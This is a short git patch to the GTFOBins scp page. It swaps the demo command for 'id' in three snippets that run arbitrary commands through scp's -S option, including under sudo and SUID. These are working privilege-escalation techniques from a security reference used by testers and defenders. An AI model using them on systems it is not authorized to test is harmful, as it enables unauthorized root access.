From 2d3ebbbb057d3ce170f438cbcd983e57681705b8 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 25 May 2018 14:11:36 +0200 Subject: [PATCH] Use the id command for non-interactive examples --- _gtfobins/scp.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/_gtfobins/scp.md b/_gtfobins/scp.md index c30613b..08ec9d1 100644 --- a/_gtfobins/scp.md +++ b/_gtfobins/scp.md @@ -3,21 +3,21 @@ functions: exec-non-interactive: - code: | TF=$(mktemp) - CMD="touch /tmp/unrestricted" + CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" scp -S $TF x y: sudo-enabled: - code: | TF=$(mktemp) - CMD="touch /tmp/unrestricted" + CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" sudo scp -S $TF x y: suid-limited: - code: | TF=$(mktemp) - CMD="touch /tmp/unrestricted" + CMD="id" echo "$CMD" > "$TF" chmod +x "$TF" ./scp -S $TF a b: